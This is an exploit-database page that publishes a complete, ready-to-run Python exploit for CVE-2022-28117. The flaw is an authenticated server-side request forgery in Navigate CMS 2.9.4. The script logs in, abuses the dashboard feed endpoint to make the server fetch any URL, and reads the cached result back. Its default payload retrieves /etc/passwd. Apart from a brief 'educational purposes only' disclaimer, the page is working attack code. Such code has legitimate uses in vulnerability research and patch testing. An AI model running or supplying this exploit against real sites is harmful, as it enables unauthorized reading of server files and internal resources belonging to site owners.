Navigate cms 2.9.4 serverside request forgery (ssrf) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-05-11 | Type : webapps | Platform : php
This exploit / vulnerability Navigate cms 2.9.4 serverside request forgery (ssrf) (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env python3
# Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
# Exploit Author: cheshireca7
# Vendor Homepage: https://www.navigatecms.com/
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
# Version: 2.9.4 and earlier
# Tested on: Ubuntu 20.04
# CVE: CVE-2022-28117
#
# -*- coding: utf-8 -*-

import requests as r, signal
from emoji import emojize
from argparse import ArgumentParser
from sys import exit
from requests_toolbelt.multipart.encoder import MultipartEncoder
from hashlib import md5
from time import sleep
from base64 import b64decode,b64encode
from colorama import Fore, Style

#proxies = {'http':'http://127.0.0.1:8080'}

def handler(signum, frame):
print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))
exit()

def login():
print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")
sleep(1)

try:
# Grabbing CSRF Token
s = r.Session()
resp = s.get(f"{args.target}/login.php")#, proxies=proxies)
csrf_token = resp.headers['X-Csrf-Token']

# Performing login
data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})
headers = {'Content-Type':data.content_type}
resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)
except:
print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")
exit(-1)
if resp.status_code == 302:
print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")
for cookie in resp.cookies:
if "NVSID" in cookie.name:
return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")
else:
print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")
exit(-1)

def exploit(values):
print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")
sleep(1)

# Abusing cache feature to retrieve response
data = {'limit':'5','language':'en','url':f'{args.payload}'}
headers = {'X-Csrf-Token':values[0]}
cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)

# Retrieving the file with response from static route
md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
if len(resp.text) > 0:
print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
sleep(1)
print(f"\n{resp.text}")
exit(0)
else:
print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
exit(-1)

if __name__ == '__main__':

# Define parameters
signal.signal(signal.SIGINT, handler)
parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
args = parser.parse_args()

exploit(login())